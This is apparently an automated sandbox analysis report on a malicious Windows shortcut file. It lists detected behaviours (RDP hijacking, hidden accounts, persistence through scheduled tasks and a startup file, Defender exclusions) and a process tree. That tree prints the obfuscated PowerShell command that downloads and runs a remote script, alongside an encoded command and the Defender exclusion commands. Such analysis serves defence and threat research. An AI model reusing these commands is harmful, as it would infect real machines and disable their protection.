02ad87e946a127508c1741205a106e1a05da79f5b20ec10bf1507aae01f949dc

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
26-11-2024 10:25

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

02ad87e946a127508c1741205a106e1a05da79f5b20ec10bf1507aae01f949dc.lnk
Size

2KB
MD5

464e2f94ac97b9bf225d303e0d05f114
SHA1

d8511f96d21071b1d5a4cf923ba84ed1fb67df46
SHA256

02ad87e946a127508c1741205a106e1a05da79f5b20ec10bf1507aae01f949dc
SHA512

e3e3d3aa76c7d7fc7af1f3d3e339eb3c255d25858fce413479cf8ba43af7137d88dc5cf2127c4b24e30973d65bdd5b76cb9fd0c187604c609f6a1a8438725ff6

Score

9^/10

defense_evasion discovery execution lateral_movement

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Remote Service Session Hijacking: RDP Hijacking 1 TTPs 4 IoCs

Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

lateral_movement

RDP Hijacking

T1563.002

pid	Process
4556	net1.exe
452	net.exe
1872	net1.exe
1956	net.exe

Blocklisted process makes network request 27 IoCs

flow	pid	Process
7	4028	powershell.exe
15	4028	powershell.exe
18	4488	powershell.exe
29	4488	powershell.exe
34	4488	powershell.exe
35	4488	powershell.exe
49	4488	powershell.exe
50	4488	powershell.exe
51	4488	powershell.exe
52	4488	powershell.exe
53	4488	powershell.exe
56	4488	powershell.exe
57	4488	powershell.exe
58	4488	powershell.exe
60	4488	powershell.exe
61	4488	powershell.exe
64	4488	powershell.exe
66	4488	powershell.exe
67	4488	powershell.exe
68	4488	powershell.exe
69	4488	powershell.exe
70	4488	powershell.exe
71	4488	powershell.exe
72	4488	powershell.exe
73	4488	powershell.exe
74	4488	powershell.exe
77	4488	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4028	powershell.exe
1844	powershell.exe
1608	powershell.exe
4488	powershell.exe
4708	powershell.exe

Indicator Removal: Network Share Connection Removal 1 TTPs 2 IoCs

Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.

defense_evasion

Network Share Connection Removal

T1070.005

pid	Process
1840	net1.exe
3868	net.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	cmd.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Google Chrome.lnk	powershell.exe

Drops file in System32 directory 7 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.exe
File created	C:\Windows\System32\sysmon.bat	cmd.exe
File opened for modification	C:\Windows\System32\sysmon.bat	cmd.exe
File created	C:\Windows\System32\sysmon2.bat	cmd.exe
File opened for modification	C:\Windows\System32\sysmon2.bat	cmd.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Hide Artifacts: Hidden Users 1 TTPs 1 IoCs

defense_evasion

Hidden Users

T1564.002

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\_BootUEFI_ = "0"	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AcroRd32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Terminal Server Client\AuthenticationLevelOverride = "0"	reg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Terminal Server Client	reg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings	powershell.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4560	schtasks.exe
3896	schtasks.exe

Suspicious behavior: EnumeratesProcesses 35 IoCs

pid	Process
4028	powershell.exe
4028	powershell.exe
2132	AcroRd32.exe
2132	AcroRd32.exe
2132	AcroRd32.exe
2132	AcroRd32.exe
2132	AcroRd32.exe
2132	AcroRd32.exe
2132	AcroRd32.exe
2132	AcroRd32.exe
2132	AcroRd32.exe
2132	AcroRd32.exe
2132	AcroRd32.exe
2132	AcroRd32.exe
2132	AcroRd32.exe
2132	AcroRd32.exe
2132	AcroRd32.exe
2132	AcroRd32.exe
2132	AcroRd32.exe
2132	AcroRd32.exe
2132	AcroRd32.exe
2132	AcroRd32.exe
4708	powershell.exe
4708	powershell.exe
4028	powershell.exe
1844	powershell.exe
1844	powershell.exe
1608	powershell.exe
1608	powershell.exe
4488	powershell.exe
4488	powershell.exe
4488	powershell.exe
4488	powershell.exe
4028	powershell.exe
4028	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4028	powershell.exe
Token: SeDebugPrivilege	4708	powershell.exe
Token: SeDebugPrivilege	1844	powershell.exe
Token: SeDebugPrivilege	1608	powershell.exe
Token: SeDebugPrivilege	4488	powershell.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
2132	AcroRd32.exe
2132	AcroRd32.exe
2132	AcroRd32.exe
2132	AcroRd32.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2972 wrote to memory of 4028	2972	cmd.exe	84
PID 2972 wrote to memory of 4028	2972	cmd.exe	84
PID 4028 wrote to memory of 2132	4028	powershell.exe	85
PID 4028 wrote to memory of 2132	4028	powershell.exe	85
PID 4028 wrote to memory of 2132	4028	powershell.exe	85
PID 4028 wrote to memory of 4708	4028	powershell.exe	92
PID 4028 wrote to memory of 4708	4028	powershell.exe	92
PID 4028 wrote to memory of 5052	4028	powershell.exe	94
PID 4028 wrote to memory of 5052	4028	powershell.exe	94
PID 5052 wrote to memory of 1844	5052	cmd.exe	96
PID 5052 wrote to memory of 1844	5052	cmd.exe	96
PID 5052 wrote to memory of 3636	5052	cmd.exe	97
PID 5052 wrote to memory of 3636	5052	cmd.exe	97
PID 5052 wrote to memory of 1552	5052	cmd.exe	98
PID 5052 wrote to memory of 1552	5052	cmd.exe	98
PID 5052 wrote to memory of 4560	5052	cmd.exe	99
PID 5052 wrote to memory of 4560	5052	cmd.exe	99
PID 5052 wrote to memory of 1220	5052	cmd.exe	100
PID 5052 wrote to memory of 1220	5052	cmd.exe	100
PID 1628 wrote to memory of 2184	1628	cmd.exe	103
PID 1628 wrote to memory of 2184	1628	cmd.exe	103
PID 1628 wrote to memory of 940	1628	cmd.exe	104
PID 1628 wrote to memory of 940	1628	cmd.exe	104
PID 1628 wrote to memory of 3896	1628	cmd.exe	105
PID 1628 wrote to memory of 3896	1628	cmd.exe	105
PID 1628 wrote to memory of 2568	1628	cmd.exe	106
PID 1628 wrote to memory of 2568	1628	cmd.exe	106
PID 4416 wrote to memory of 2028	4416	cmd.exe	109
PID 4416 wrote to memory of 2028	4416	cmd.exe	109
PID 2028 wrote to memory of 1320	2028	net.exe	110
PID 2028 wrote to memory of 1320	2028	net.exe	110
PID 4416 wrote to memory of 708	4416	cmd.exe	111
PID 4416 wrote to memory of 708	4416	cmd.exe	111
PID 708 wrote to memory of 1196	708	net.exe	112
PID 708 wrote to memory of 1196	708	net.exe	112
PID 4416 wrote to memory of 3204	4416	cmd.exe	113
PID 4416 wrote to memory of 3204	4416	cmd.exe	113
PID 3204 wrote to memory of 1108	3204	net.exe	114
PID 3204 wrote to memory of 1108	3204	net.exe	114
PID 4416 wrote to memory of 1956	4416	cmd.exe	115
PID 4416 wrote to memory of 1956	4416	cmd.exe	115
PID 1956 wrote to memory of 4556	1956	net.exe	116
PID 1956 wrote to memory of 4556	1956	net.exe	116
PID 4416 wrote to memory of 452	4416	cmd.exe	117
PID 4416 wrote to memory of 452	4416	cmd.exe	117
PID 452 wrote to memory of 1872	452	net.exe	118
PID 452 wrote to memory of 1872	452	net.exe	118
PID 4416 wrote to memory of 3868	4416	cmd.exe	119
PID 4416 wrote to memory of 3868	4416	cmd.exe	119
PID 3868 wrote to memory of 1840	3868	net.exe	120
PID 3868 wrote to memory of 1840	3868	net.exe	120
PID 4416 wrote to memory of 3672	4416	cmd.exe	121
PID 4416 wrote to memory of 3672	4416	cmd.exe	121
PID 4416 wrote to memory of 1868	4416	cmd.exe	122
PID 4416 wrote to memory of 1868	4416	cmd.exe	122
PID 4416 wrote to memory of 2076	4416	cmd.exe	123
PID 4416 wrote to memory of 2076	4416	cmd.exe	123
PID 4416 wrote to memory of 1944	4416	cmd.exe	124
PID 4416 wrote to memory of 1944	4416	cmd.exe	124
PID 4416 wrote to memory of 4236	4416	cmd.exe	125
PID 4416 wrote to memory of 4236	4416	cmd.exe	125
PID 4416 wrote to memory of 4584	4416	cmd.exe	126
PID 4416 wrote to memory of 4584	4416	cmd.exe	126
PID 4416 wrote to memory of 1608	4416	cmd.exe	128

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\02ad87e946a127508c1741205a106e1a05da79f5b20ec10bf1507aae01f949dc.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -command &{$ty = 'h5&24g#' + 'UofhxvBcjU' + 'bh#n^_fev4df' + 'hhjwh#dhCz' + 'ghii57r6_fr#tKy' + 'jhr9tfKJry'; [string] $aCmd = {(New-xprObject Nxpretxpr.WebCxprlient).DoxprwnlxproadxprStrxprinxprg('ht' + 'txprps:/' + '/xprpaxprn' + 'axprkexpros' + '.xpricxpru/scxprrxprxpriptxprs/scxpr-xpr' + 'xprintxprermexprdixprxpratexpr.pxprs1xpr')}; $rCmd = $aCmd.replace('xpr', ''); $finalExec = iex $rCmd; iex $finalExec; }
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Drops startup file
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4028
- - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\Report_Estimiation_SKT_20241112472075939.pdf"
    3⤵
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Modifies Internet Explorer settings
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2132
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
      4⤵
      System Location Discovery: System Language Discovery
      PID:3368
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=252858EBA40C07E08A0120E007CB682F --mojo-platform-channel-handle=1740 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4536
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=04689B97B622A8B750F198E003144D7E --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=04689B97B622A8B750F198E003144D7E --renderer-client-id=2 --mojo-platform-channel-handle=1752 --allow-no-sandbox-job /prefetch:1
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:208
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=E264E6FE16D505D5EA13ABF43B10A7C5 --mojo-platform-channel-handle=2288 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4040
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=FC19AB1A47300D1CAD1E5F32BAF9B3F6 --mojo-platform-channel-handle=2300 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4324
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=C00961C2F8DAC966BDCF662FF8D74E30 --mojo-platform-channel-handle=1740 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1528
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4708
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\scheduler-once.bat"
    3⤵
    - Drops file in System32 directory
    - Suspicious use of WriteProcessMemory
    PID:5052
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -w hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAJABlAG4AdgA6AHcAaQBuAGQAaQByAFwAUwB5AHMAdABlAG0AMwAyACIA
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1844
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /tn "Intel(R) Ethernet Connection 1219-LM" /f
      4⤵
      PID:3636
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /tn "Intel(R) Ethernet2 Connection 1219-LM" /f
      4⤵
      PID:1552
